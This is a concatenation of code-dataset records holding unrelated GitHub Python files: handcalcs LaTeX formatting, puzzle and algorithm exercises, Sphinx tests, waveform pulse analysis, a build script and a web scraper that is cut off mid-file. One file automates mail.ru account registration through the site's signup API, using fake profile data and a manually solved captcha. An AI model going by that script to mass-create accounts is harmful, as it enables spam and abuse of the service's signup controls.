components.append(new_component + b)\n else:\n components.append(component)\n new_item = \"\\\\ \".join(components)\n return new_item\n\n\ndef swap_scientific_notation_float(\n line: deque, precision: int, **config_options\n) -> deque:\n \"\"\"\n Returns a deque representing 'pycode_as_deque' with any python floats that\n will get \"cut-off\" by the 'precision' arg when they are rounded as being\n rendered as strings in python's \"e format\" scientific notation.\n\n A float is \"cut-off\" by 'precision' when it's number of significant digits will\n be less than those required by precision.\n\n e.g. elem = 0.001353 with precision=3 will round to 0.001, with only one\n significant digit (1 < 3). Therefore this float is \"cut off\" and will be\n formatted instead as \"1.353e-3\"\n\n elem = 0.1353 with precision=3 will round to 0.135 with three significant digits\n (3 == 3). Therefore this float will not be formatted.\n \"\"\"\n swapped_deque = deque([])\n for item in line:\n if test_for_float(item, precision):\n new_item = (\n \"{:.{precision}e}\".format(item, precision=precision)\n .replace(\"e-0\", \"e-\")\n .replace(\"e+0\", \"e+\")\n )\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n\n return swapped_deque\n\n\n# def swap_scientific_notation_complex(line: deque, precision: int, **config_options) -> deque:\n# swapped_deque = deque([])\n# for item in line:\n# if isinstance(item, complex) and test_for_small_complex(item, precision):\n# real = swap_scientific_notation_float([item.real], precision)\n# imag = swap_scientific_notation_float([item.imag], precision)\n# swapped_real = list(swap_scientific_notation_str(real, precision=precision))\n# swapped_imag = list(swap_scientific_notation_str(imag, precision=precision))\n\n# ops = \"\" if item.imag < 0 else \"+\"\n# real_str = (\n# f\"{swapped_real[0]}\"\n# if len(swapped_real) == 1\n# else \" \".join(swapped_real)\n# )\n# imag_str = (\n# f\"{swapped_imag[0]}\"\n# if len(swapped_imag) == 1\n# else \" \".join(swapped_imag)\n# )\n# new_complex_str = f\"( {real_str} {ops} {imag_str}j )\"\n# swapped_deque.append(new_complex_str)\n# else:\n# swapped_deque.append(item)\n# return swapped_deque\n\n\ndef swap_comparison_ops(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns a deque representing 'pycode_as_deque' with any python\n comparison operators, eg. \">\", \">=\", \"!=\", \"==\" swapped with\n their latex equivalent.\n \"\"\"\n py_ops = {\n \"<\": \"\\\\lt\",\n \">\": \"\\\\gt\",\n \"<=\": \"\\\\leq\",\n \">=\": \"\\\\geq\",\n \"==\": \"=\",\n \"!=\": \"\\\\neq\",\n }\n swapped_deque = deque([])\n for item in pycode_as_deque:\n if type(item) is deque:\n new_item = swap_comparison_ops(item)\n swapped_deque.append(new_item)\n else:\n new_item = dict_get(py_ops, item)\n swapped_deque.append(new_item)\n return swapped_deque\n\n\ndef swap_superscripts(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns the python code deque with any exponentials swapped\n out for latex superscripts.\n \"\"\"\n pycode_with_supers = deque([])\n close_bracket_token = False\n ops = \"^\"\n a = \"{\"\n b = \"}\"\n l_par = \"\\\\left(\"\n r_par = \"\\\\right)\"\n for idx, item in enumerate(pycode_as_deque):\n next_idx = min(idx + 1, len(pycode_as_deque) - 1)\n next_item = pycode_as_deque[next_idx]\n if isinstance(item, deque): # and not close_bracket_token:\n if \"**\" == str(next_item):\n pycode_with_supers.append(l_par)\n new_item = swap_superscripts(item)\n pycode_with_supers.append(new_item)\n pycode_with_supers.append(r_par)\n else:\n new_item = swap_superscripts(item) # recursion!\n pycode_with_supers.append(new_item)\n if close_bracket_token:\n pycode_with_supers.append(b)\n close_bracket_token = False\n\n else:\n if \"**\" == str(next_item):\n pycode_with_supers.append(l_par)\n pycode_with_supers.append(item)\n pycode_with_supers.append(r_par)\n elif str(item) == \"**\":\n new_item = f\"{ops}{a}\"\n pycode_with_supers.append(new_item)\n close_bracket_token = True\n elif close_bracket_token:\n pycode_with_supers.append(item)\n pycode_with_supers.append(b)\n close_bracket_token = False\n else:\n pycode_with_supers.append(item)\n prev_item = item\n\n return pycode_with_supers\n\n\ndef swap_for_greek(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns full line of code as deque with any Greek terms swapped in for words describing\n Greek terms, e.g. 'beta' -> 'β'\n \"\"\"\n greeks_to_exclude = config_options[\"greek_exclusions\"]\n swapped_deque = deque([])\n greek_chainmap = ChainMap(GREEK_LOWER, GREEK_UPPER)\n for item in pycode_as_deque:\n if isinstance(item, deque):\n new_item = swap_for_greek(item, **config_options)\n swapped_deque.append(new_item)\n elif \"_\" in str(item):\n components = str(item).split(\"_\")\n swapped_components = [\n dict_get(greek_chainmap, component)\n if component not in greeks_to_exclude\n else component\n for component in components\n ]\n new_item = \"_\".join(swapped_components)\n swapped_deque.append(new_item)\n elif item not in greeks_to_exclude:\n new_item = dict_get(greek_chainmap, item)\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef test_for_long_var_strs(elem: Any, **config_options) -> bool:\n \"\"\"\n Returns True if 'elem' is a variable string that has more than one character\n in it's \"top-level\" name (as opposed to it's subscript).\n False, otherwise.\n\n e.g. elem = \"Rate_annual\" -> True\n elem = \"x_rake_red\" -> False\n elem = \"AB_x_y\" -> True\n elem = \"category_x\" -> True\n elem = \"x\" -> False\n elem = \"xy\" -> True\n \"\"\"\n if not isinstance(elem, str):\n return False\n if \"\\\\\" in elem or \"{\" in elem or \"}\" in elem:\n return False\n components = elem.replace(\"'\", \"\").split(\"_\")\n if len(components) != 1:\n top_level, *_remainders = components\n if not config_options[\"underscore_subscripts\"]:\n if len(top_level) + len(_remainders) == 1:\n return False\n else:\n return True\n else:\n if len(top_level) > 1:\n return True\n else:\n return False\n if len(components[0]) == 1:\n return False\n return True\n\n\ndef swap_long_var_strs(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns a new deque that represents 'pycode_as_deque' but\n with all long variable names \"escaped\" so that they do not\n render as italic variables but rather upright text.\n\n ***Must be just before swap_subscripts in stack.***\n \"\"\"\n swapped_deque = deque([])\n begin = \"\\\\mathrm{\"\n end = \"}\"\n for item in pycode_as_deque:\n if isinstance(item, deque):\n new_item = swap_long_var_strs(item, **config_options)\n swapped_deque.append(new_item)\n elif test_for_long_var_strs(item, **config_options) and not is_number(\n str(item)\n ):\n try:\n top_level, remainder = str(item).split(\"_\", 1)\n if config_options[\"underscore_subscripts\"]:\n new_item = begin + top_level + end + \"_\" + remainder\n else:\n new_item = begin + top_level + \"_\" + remainder + end\n swapped_deque.append(new_item)\n except:\n new_item = begin + item + end\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef swap_prime_notation(d: deque, **config_options) -> deque:\n \"\"\"\n Returns a deque representing 'd' with all elements\n with \"_prime\" substrings replaced with \"'\".\n \"\"\"\n swapped_deque = deque([])\n for item in d:\n if isinstance(item, deque):\n new_item = swap_prime_notation(item)\n swapped_deque.append(new_item)\n elif isinstance(item, str):\n new_item = item.replace(\"_prime\", \"'\")\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef swap_values(pycode_as_deque: deque, tex_results: dict, **config_options) -> deque:\n \"\"\"\n Returns a the 'pycode_as_deque' with any symbolic terms swapped out for their corresponding\n values.\n \"\"\"\n outgoing = deque([])\n for item in pycode_as_deque:\n swapped_value = \"\"\n if isinstance(item, deque):\n outgoing.append(\n swap_values(item, tex_results, **config_options)\n ) # recursion!\n else:\n swapped_value = dict_get(tex_results, item)\n if isinstance(swapped_value, str) and swapped_value != item:\n swapped_value = format_strings(\n swapped_value, comment=False, **config_options\n )\n outgoing.append(swapped_value)\n return outgoing\n\n\ndef test_for_unary(d: deque) -> bool:\n \"\"\"\n Returns True if 'd' represents a unary expression, e.g. -1.\n False otherwise.\n \"\"\"\n ops = \"+ -\".split()\n if len(d) == 2 and d[0] in ops:\n return True\n return False\n\n\ndef test_for_typ_arithmetic(d: deque) -> bool:\n \"\"\"\n Returns True if 'd' represents a deque created to store lower-precedent\n arithmetic. Returns False otherwise.\n \"\"\"\n operators = \"+ - * ** / // % , < > >= <= == !=\".split()\n any_op = any(elem for elem in d if elem in operators)\n return any_op and not test_for_unary(d)\n\n\ndef get_function_name(d: deque) -> str:\n \"\"\"\n Returns the function name if 'd' represents a deque containing a function\n name (both typical case and special case).\n \"\"\"\n dummy_deque = copy.deepcopy(d)\n dummy_deque.popleft()\n if test_for_function_name(d):\n return d[0]\n elif test_for_function_name(dummy_deque):\n return dummy_deque[0]\n # elif (isinstance(d[0], str) and re.match(r\"^[A-Za-z0-9_]+$\", d[0])\n # and isinstance(d[1], deque)# and d[1][0] == \"\\\\left(\"\n # ):\n # return d[0]\n # elif (\n # d[0] == \"\\\\left(\"\n # and (isinstance(d[1], str) and re.match(r\"^[A-Za-z0-9_]+$\", d[1])\n # )\n # ):\n # return d[1]\n else:\n return \"\"\n\n\ndef test_for_function_name(d: deque) -> bool:\n \"\"\"\n Returns True if 'd' qualifies for a typical function that should have\n some form of function brackets around it.\n \"\"\"\n if (\n (len(d) == 2 or len(d) == 4 or len(d) == 3)\n and (isinstance(d[0], str) and re.match(r\"^[A-Za-z0-9_]+$\", d[0]))\n and (\n isinstance(d[1], str)\n and (re.match(r\"^[A-Za-z0-9_]+$\", d[1]) or is_number(d[1]))\n or d[1] == \"\\\\left(\"\n or d[-1] == \"\\\\right)\"\n )\n ):\n return True\n elif (\n len(d) > 1\n and isinstance(d[0], str)\n and re.match(r\"^[A-Za-z0-9_]+$\", d[0])\n and isinstance(d[1], deque)\n ):\n return True\n else:\n return False\n\n\ndef insert_unary_parentheses(d: deque) -> deque:\n \"\"\"\n Returns a deque representing 'd' with parentheses inserted\n appropriately for unary brackets\n \"\"\"\n lpar = \"\\\\left(\"\n rpar = \"\\\\right)\"\n swapped_deque = deque([])\n swapped_deque.append(lpar)\n for elem in d:\n swapped_deque.append(elem)\n swapped_deque.append(rpar)\n return swapped_deque\n\n\ndef test_for_fraction_exception(item: Any, next_item: Any) -> bool:\n \"\"\"\n Returns True if a combination 'item' and 'next_item' appear to indicate\n a fraction in the symbolic deque. False otherwise.\n\n e.g. item=deque([...]), next_item=\"/\" -> True\n item=\"/\", next_item=deque -> True\n False otherwise\n \"\"\"\n if isinstance(item, deque) and next_item == \"/\":\n return True\n elif item == \"/\" and isinstance(next_item, deque):\n return True\n return False\n\n\ndef insert_function_parentheses(d: deque) -> deque:\n \"\"\"\n Returns a deque representing 'd' with parentheses inserted\n appropriately for functions.\n \"\"\"\n lpar = \"\\\\left(\"\n rpar = \"\\\\right)\"\n swapped_deque = deque([])\n last = len(d) - 1\n for idx, item in enumerate(d):\n if idx == last == 1 and not isinstance(item, deque):\n swapped_deque.append(lpar)\n swapped_deque.append(item)\n swapped_deque.append(rpar)\n elif idx == 1 and isinstance(item, deque):\n new_item = copy.deepcopy(item)\n new_item.appendleft(lpar)\n new_item.append(rpar)\n swapped_deque.append(new_item)\n elif idx == 2 and isinstance(item, deque) and d[0] == \"\\\\left(\":\n new_item = copy.deepcopy(item)\n new_item.appendleft(lpar)\n new_item.append(rpar)\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef insert_arithmetic_parentheses(d: deque) -> deque:\n \"\"\"\n Returns a deque representing 'd' with parentheses inserted\n appropriately for arithmetical brackets.\n \"\"\"\n lpar = \"\\\\left(\"\n rpar = \"\\\\right)\"\n swapped_deque = deque([])\n last = len(d) - 1\n exp_check = False\n if last > 1:\n exp_check = d[1] == \"**\" # Don't double up parenth on exponents\n for idx, item in enumerate(d):\n if idx == 0 and not exp_check and d[idx] != lpar:\n swapped_deque.append(lpar)\n swapped_deque.append(item)\n elif idx == last and not exp_check and d[idx] != rpar:\n swapped_deque.append(item)\n swapped_deque.append(rpar)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef insert_parentheses(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns a deque representing 'pycode_as_deque' but with appropriate\n parentheses inserted.\n \"\"\"\n swapped_deque = deque([])\n peekable_deque = more_itertools.peekable(pycode_as_deque)\n lpar = \"\\\\left(\"\n prev_item = None\n func_exclude = [\"sqrt\", \"quad\", \"integrate\"]\n skip_fraction_token = False\n for item in peekable_deque:\n next_item = peekable_deque.peek(False)\n if isinstance(item, deque):\n poss_func_name = get_function_name(item)\n typ_arithmetic = test_for_typ_arithmetic(item)\n if poss_func_name:\n if test_for_fraction_exception(item, next_item):\n skip_fraction_token = True\n if poss_func_name not in func_exclude:\n item = insert_function_parentheses(item)\n new_item = insert_parentheses(item)\n swapped_deque.append(new_item)\n\n elif (\n typ_arithmetic\n # and not prev_item == lpar\n and not skip_fraction_token\n ):\n\n if test_for_fraction_exception(item, next_item):\n\n skip_fraction_token = True\n new_item = insert_parentheses(item)\n swapped_deque.append(new_item)\n else:\n if (\n prev_item not in func_exclude\n # and not test_for_nested_deque(item)\n and next_item != \"**\"\n ): # Allow swap_superscript to handle its parenths\n item = insert_arithmetic_parentheses(item)\n\n new_item = insert_parentheses(item)\n swapped_deque.append(new_item)\n\n elif test_for_unary(item):\n item = insert_unary_parentheses(item)\n new_item = insert_parentheses(item)\n swapped_deque.append(new_item)\n else:\n if skip_fraction_token and prev_item == \"/\":\n skip_fraction_token = False\n new_item = insert_parentheses(item)\n swapped_deque.append(new_item)\n else:\n if item == \"/\":\n skip_fraction_token = True\n elif skip_fraction_token and prev_item == \"/\":\n skip_fraction_token = False\n swapped_deque.append(item)\n prev_item = item\n return swapped_deque\n\n\ndef test_for_nested_deque(d: deque) -> bool:\n \"\"\"\n Returns true if 'd' has a deque as its first item.\n False otherwise\n \"\"\"\n nested_deque_bool = next(isinstance(i, deque) for i in d)\n try:\n not_exponent = (\n d[0][1] != \"**\"\n ) # Nested deques are permitted if first item is raised to power\n except IndexError:\n not_exponent = True\n return nested_deque_bool and not_exponent\n\n\ndef swap_dec_sep(d: deque, dec_sep: str) -> deque:\n \"\"\"\n Returns 'd' with numerical elements with the \".\" decimal separator,\n replaced with 'dec_sep'.\n \"\"\"\n swapped_deque = deque([])\n a = \"{\"\n b = \"}\"\n if dec_sep == \".\":\n return d\n for item in d:\n if is_number(item):\n item = item.replace(\".\", f\"{a}{dec_sep}{b}\")\n swapped_deque.append(item)\n elif is_number(item.replace(\"\\\\\", \"\")):\n item = item.replace(\".\", f\"{a}{dec_sep}{b}\")\n swapped_deque.append(item)\n elif \" \" in item:\n components = deque(item.split())\n swapped_components = swap_dec_sep(components, dec_sep)\n swapped_deque.append(\" \".join(swapped_components))\n else:\n swapped_deque.append(item)\n return swapped_deque\n","repo_name":"connorferster/handcalcs","sub_path":"handcalcs/handcalcs.py","file_name":"handcalcs.py","file_ext":"py","file_size_in_byte":105592,"program_lang":"python","lang":"en","doc_type":"code","stars":5272,"dataset":"github-code","pt":"77"} +{"seq_id":"18563140591","text":"'''\n\nDescription\n\nGiven an array of N distinct elementsA[ ], find the minimum number of swaps required to sort the array.Your are required to complete the function which returns an integer denoting the minimum number of swaps, required to sort the array.\n\nInput\n\nThe first line of input contains an integer T denoting the no of test cases . Then T test cases follow . Each test case contains an integer N denoting the no of element of the array A[ ]. In the next line are N space separated values of the array A[ ] .(1<=T<=100;1<=N<=100;1<=A[] <=1000)\n\nOutput\n\nFor each test case in a new line output will be an integer denoting minimum umber of swaps that are required to sort the array.\n\nSample Input 1\n\n2\n4\n4 3 2 1\n5\n1 5 4 3 2\n\nSample Output 1\n\n2\n2\n\n'''\n\nimport sys\n\ndef fuck():\n n = int(sys.stdin.readline().strip())\n a = [int(x) for x in sys.stdin.readline().strip().split(\" \")]\n \n \n time = 0\n for i in range(n):\n # print(\"i\",i)\n min = a[i]\n index = i\n for j in range(i,n):\n # print(j)\n if a[j] < min:\n min = a[j]\n index = j\n if index != i:\n time += 1\n a[index] ,a[i] = a[i], a[index]\n print(time)\n\nif __name__ == '__main__':\n t = int(sys.stdin.readline().strip())\n for s in range(t):\n fuck()","repo_name":"know-no/algorithm-homework","sub_path":"k1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"40254125102","text":"import hashlib\nfrom Container import Container\n\n\nclass Util:\n def __init__(self):\n pass\n\n @staticmethod\n def printContainers(containers):\n for i in range(len(containers)):\n print(str(i) + \"| \" + str(containers[i]))\n\n @staticmethod\n def takeSnapshot(containers):\n snapshot = []\n for i in range(len(containers)):\n snapshot.append(containers[i].takeSnapshot())\n return snapshot\n\n @staticmethod\n def loadSnapshot(snapshot):\n containers = []\n for i in range(len(snapshot)):\n container = Container([])\n container.loadSnapshot(snapshot[i])\n containers.append(container)\n return containers\n\n @staticmethod\n def takeSnapshotFingerprint(containers):\n return hashlib.md5(str(Util.takeSnapshot(containers))).hexdigest()\n\n @staticmethod\n def vectorFullArrange(endpoint):\n arranges = []\n\n for i in range(len(endpoint)):\n for j in range(len(endpoint)):\n if i == j:\n continue\n arranges.append({\"from\": endpoint[i], \"to\": endpoint[j]})\n return arranges\n\n @staticmethod\n def getVectorScore(vector):\n return vector['score']\n","repo_name":"TimeBather/watersort-puzzle-resolver","sub_path":"Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"41159202456","text":"from pathlib import Path\nfrom typing import AnyStr\n\nfrom bs4 import BeautifulSoup\nfrom parameterized import parameterized\nfrom sphinx_testing import TestApp, with_app\n\n\ndef gen_app_conf(**kwargs: dict) -> dict:\n \"\"\"Create TestApp configuration.\"\"\"\n kwargs[\"buildername\"] = \"html\"\n kwargs[\"srcdir\"] = str(Path(__file__).parent / \"testdoc\")\n kwargs[\"copy_srcdir_to_tmpdir\"] = True\n return kwargs\n\n\ndef soup_html(app: TestApp, path: str) -> BeautifulSoup:\n \"\"\"Build application and parse content.\"\"\"\n app.build()\n html: AnyStr = (app.outdir / path).read_text()\n return BeautifulSoup(html, \"html.parser\")\n\n\n@with_app(**gen_app_conf(confoverrides={\"googlefonts_families\": [\"Roboto\"]}))\ndef test_script_tags(app: TestApp, status, warning): # noqa\n soup = soup_html(app, \"index.html\")\n link = [\n e\n for e in soup.find_all(\"link\", rel=\"stylesheet\")\n if e[\"href\"].startswith(\"https://fonts.googleapis.com/css2\")\n ][0][\"href\"]\n assert link == \"https://fonts.googleapis.com/css2?family=Roboto\"\n\n\n@parameterized(\n [\n ([\"Roboto\"], [(\"family\", \"Roboto\")]),\n ([\"Noto Sans JP\"], [(\"family\", \"Noto+Sans+JP\")]),\n ]\n)\ndef test_build_family_query(families, query):\n from sphinxcontrib.googlefonts import build_family_query\n\n assert build_family_query(families) == query\n","repo_name":"attakei/sphinxcontrib-googlefonts","sub_path":"tests/test_build.py","file_name":"test_build.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8078696055","text":"import sys\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport lib.PulseFinder as pu\n\ndef OscopePrintToCSV(csv_file):\n waveform_dict = {}\n line0_key = ''\n line1_key = ''\n with open(csv_file,\"r\") as f:\n for j,line in enumerate(csv.reader(f)):\n if j == 0: continue\n if j == 1:\n line0_key = line[0]\n line1_key = line[1]\n waveform_dict[line[0]] = []\n waveform_dict[line[1]] = []\n else:\n waveform_dict[line0_key].append(float(line[0]))\n waveform_dict[line1_key].append(float(line[1]))\n for entry in waveform_dict:\n waveform_dict[entry] = np.array(waveform_dict[entry])\n return waveform_dict\n\ndef EstimateSimpleBaseline(waveform, bl_range):\n bl_samples = waveform[bl_range[0]:bl_range[1]]\n bl_mean = np.average(bl_samples)\n bl_sigma = np.std(bl_samples)\n return bl_mean, bl_sigma\n\nif __name__ == '__main__':\n myPulseFinder = pu.PulseFinder()\n myPulseFinder.SetPulseThreshold(5) #nsigma outside baseline to define a pulse\n myPulseFinder.SetEdgeSamples(8)\n BL_RANGE_NSAMP = [0, 70]\n print(\"Let's analyze a waveform\")\n print(\"usage: main.py [waveform_filename]\")\n wavefile = sys.argv[1]\n fileNum = wavefile[:-4]\n waveform = OscopePrintToCSV(wavefile)\n mu, sigma = EstimateSimpleBaseline(waveform['Volt'],BL_RANGE_NSAMP)\n pulses = myPulseFinder.FindPulses_SimpleBaseline(waveform['second'],waveform['Volt'],mu,sigma)\n have_pulse = False\n for pulse in pulses:\n if not have_pulse:\n plt.vlines(waveform['second'][pulse['min_time_sample']]*1E9,ymin=0, ymax =pulse['peak_amplitude'], color='purple', linewidth=2,label='Pulses')\n else:\n plt.vlines(waveform['second'][pulse['min_time_sample']]*1E9,ymin=0, ymax =pulse['peak_amplitude'], color='purple', linewidth=2)\n plt.vlines(waveform['second'][pulse['max_time_sample']]*1E9,ymin=0, ymax =pulse['peak_amplitude'], color='purple', linewidth=2)\n plt.hlines(pulse['peak_amplitude'], xmin=waveform['second'][pulse['min_time_sample']]*1E9,xmax=waveform['second'][pulse['max_time_sample']]*1E9, color='purple', linewidth=2)\n plt.hlines(0, xmin=waveform['second'][pulse['min_time_sample']]*1E9,xmax=waveform['second'][pulse['max_time_sample']]*1E9, color='purple', linewidth=2)\n plt.plot(waveform['second']*1E9,waveform['Volt']- mu,label='Data (BL-Subtracted)')\n bl_min = waveform['second'][BL_RANGE_NSAMP[0]]*1E9\n bl_max = waveform['second'][BL_RANGE_NSAMP[1]]*1E9\n #plt.hlines(mu,xmin=bl_min, xmax = bl_max,color='black', label = 'Baseline mean', linewidth=2)\n plt.hlines(sigma, xmin=bl_min, xmax = bl_max,color='red',alpha=0.4, label = 'Baseline sigma',linewidth=2)\n plt.hlines(-sigma, xmin=bl_min, xmax = bl_max,color='red',alpha=0.4,linewidth=2)\n plt.legend()\n plt.xlabel(\"Time (ns)\")\n plt.ylabel(\"Voltage (V)\")\n plt.title(\"Waveform from OD PMT 902 \")#\\n (Signal to oscilloscope with 1 MOhm impedance)\")\n plt.savefig(fileNum,papertype='a0')\n #plt.show()\n for j,pulse in enumerate(pulses):\n print(\"PULSE NUMBER: \" + str(j))\n print(\"PULSE PEAK AMPLITUDE: %f\"%(pulse['peak_amplitude']))\n print(\"PULSE PEAK AMPLITUDE TIME: %f ns\"%(waveform[\"second\"][pulse['peak_amplitude_sample']]*1E9))\n print(\"PULSE INTEGRAL : %f V\"%(pulse['integral']))","repo_name":"pershint/ODPMTWaveformAnalysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"2201554460","text":"from skbuild import setup\nimport subprocess\nimport shutil\nimport os\n\n\ndef get_version():\n\n this_dir = os.path.dirname(os.path.realpath(__file__))\n\n git_describe = subprocess.check_output(\n [\"git\", \"describe\", \"--tags\"], cwd=this_dir\n ).decode(\"utf-8\")\n\n sections = git_describe.split(\"-\")\n version = sections[0]\n\n return version\n\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nwith open(\"requirements.txt\") as fh:\n requirements = fh.readlines()\n\nbuild_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"_skbuild\")\nif os.path.isdir(build_dir):\n print(f\"Clean {build_dir}\")\n shutil.rmtree(build_dir)\n\nsetup(\n name=\"vpunn_cost_model\",\n version=get_version(),\n author=\"Alessandro Palla\",\n author_email=\"alessandro.palla@intel.com\",\n description=\"VPUNN cost model\",\n license=\"Apache License 2.0\",\n cmake_install_target=\"vpunn-install-bindings\",\n cmake_args=[\n \"-DVPUNN_BUILD_EXAMPLES=OFF\",\n \"-DVPUNN_BUILD_TESTS=OFF\",\n \"-DVPUNN_BUILD_SHARED_LIB=OFF\",\n ],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/intel-innersource/libraries.performance.modeling.vpu.nn_cost_model\",\n project_urls={\n \"Bug Tracker\": \"https://github.com/intel-innersource/libraries.performance.modeling.vpu.nn_cost_model/issues\",\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n package_dir={\"vpunn\": \"python\"},\n packages=[\"vpunn\"],\n entry_points={\n \"console_scripts\": [\n \"vpunn_to_json=vpunn.to_json:main\",\n \"vpunn_builder=vpunn.builder:main\",\n \"vpu_cost_model=vpunn.cost:main\",\n \"vpu_layer_cost_model=vpunn.layer:main\",\n ],\n },\n python_requires=\">=3.6\",\n install_requires=requirements,\n)\n","repo_name":"intel/npu-nn-cost-model","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"77"} +{"seq_id":"29967035132","text":"import requests\r\nimport json\r\n\r\ndef inputData(name):\r\n print('Введи %s:'%name)\r\n return input()\r\n\r\nmyemail = inputData('имя почтового ящика')\r\n\r\nlink = 'https://account.mail.ru/api/v1/user/signup'\r\ndatas = {'name':'{\"first\":\"NAME\",\"last\":\"FAMILIE\"}', 'from':'main', 'sex':'male', 'birthday':'{\"day\":24,\"month\":8,\"year\":1990}',\r\n 'context':'signup',\r\n 'browser':'{\"screen\":{\"availWidth\":\"1600\",\"availHeight\":\"860\",\"width\":\"1600\",\"height\":\"900\",\"colorDepth\":\"24\",\"pixelDepth\":\"24\",\"availLeft\":\"0\",\"availTop\":\"0\"},\"navigator\":{\"vendorSub\":\"\",\"productSub\":\"20030107\",\"vendor\":\"Google Inc.\",\"maxTouchPoints\":\"0\",\"hardwareConcurrency\":\"4\",\"cookieEnabled\":\"true\",\"appCodeName\":\"Mozilla\",\"appName\":\"Netscape\",\"appVersion\":\"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",\"platform\":\"Win32\",\"product\":\"Gecko\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",\"language\":\"ru\",\"onLine\":\"true\",\"doNotTrack\":\"inaccessible\",\"deviceMemory\":\"4\"},\"flash\":{\"version\":\"inaccessible\"}}',\r\n 'device':'{\"os\":\"\",\"os_version\":\"\",\"dtid\":\"\",\"viewType\":\"0\"}',\r\n 'login':myemail,\r\n 'domain':'mail.ru',\r\n 'password':inputData('пароль'),\r\n 'htmlencoded':'false'}\r\n\r\nmyreq = requests.Session()\r\n\r\ntext = json.loads(myreq.post(link, data = datas).text)['body']\r\n\r\nprint(myreq)\r\n\r\nurlcapcha = 'https://c.mail.ru/6?r=0.71848591092699836'\r\nmycapcha = myreq.get(urlcapcha)\r\nwith open(\"img.jpg\", 'wb') as f:\r\n f.write(mycapcha.content)\r\n\r\n\r\nnext = myreq.post('https://account.mail.ru/api/v1/user/signup/confirm', data= {'email':'%s@mail.ru'%myemail,\r\n 'from':'main',\r\n 'reg_anketa':('{\"id\":\"%s\",\"capcha\":\"%s\"}' %(text, inputData('капчу'))),\r\n 'redirect_uri':'https://e.mail.ru/messages/inbox?newreg=1&signup_b=1&sms_reg=1&features=1',\r\n 'htmlencoded':'false'})\r\n\r\nprint(next.text)\r\n#print('usaly body id :' + text)","repo_name":"Dangeres/AutoRegerMailRu","sub_path":"reger.py","file_name":"reger.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"34724483098","text":"n, m = map(int, input().split())\nboard = []\ncheck = []\nfor _ in range(n):\n board.append(input())\n\nfor i in range(n - 7):\n for j in range(m - 7):\n sub_sum = 0\n for x in range(i, i + 8):\n for y in range(j, j + 8):\n if (x + y) % 2 == 0 and board[x][y] == \"B\":\n sub_sum += 1\n if (x + y) % 2 == 1 and board[x][y] == \"W\":\n sub_sum += 1\n if sub_sum > 32:\n sub_sum = 64 - sub_sum\n check.append(sub_sum)\n\nprint(min(check))","repo_name":"hjh3229/algorithm","sub_path":"src/baekjoon/case/bj_1018.py","file_name":"bj_1018.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"4968289515","text":"\"\"\"\nlevel 3:\n案例：爬取内涵吧爬虫（re）\nhttps://www.neihan-8.com/wenzi//\n正则表达式提取段子标题，url，点赞数，踩数，内容\n\n\"\"\"\nimport random\nimport time\n\nimport requests\n\nimport re\nimport redis\nimport json\n\n\ndef down(url):\n '''\n 下载制定url的页面内容\n :param url:\n :return:\n '''\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'\n }\n response = requests.get(url, headers=headers)\n # html = response.text\n html = response.content.decode(response.apparent_encoding, 'ignore')\n return html\n\n\ndef get_text_list(url):\n html = down(url)\n # print(html)\n # 数据提取\n ls = pat1.findall(html)\n print('len:', len(ls))\n for item in ls:\n # print('item:',item)\n # 标题\n match_obj = pat2.search(item)\n if match_obj != None:\n title = match_obj.group(1)\n else:\n title = '空'\n print('title:', title)\n # url\n match_obj = pat3.search(item)\n if match_obj != None:\n url = \"https://www.neihan-8.com\" + match_obj.group(1)\n else:\n url = '空'\n print('url:', url)\n # 点赞数\n match_obj = pat4.search(item)\n if match_obj != None:\n good_nums = match_obj.group(1)\n else:\n good_nums = '空'\n print('good_nums:', good_nums)\n # 踩数\n match_obj = pat5.search(item)\n if match_obj != None:\n bad_nums = match_obj.group(1)\n else:\n bad_nums = '空'\n print('bad_nums:', bad_nums)\n # 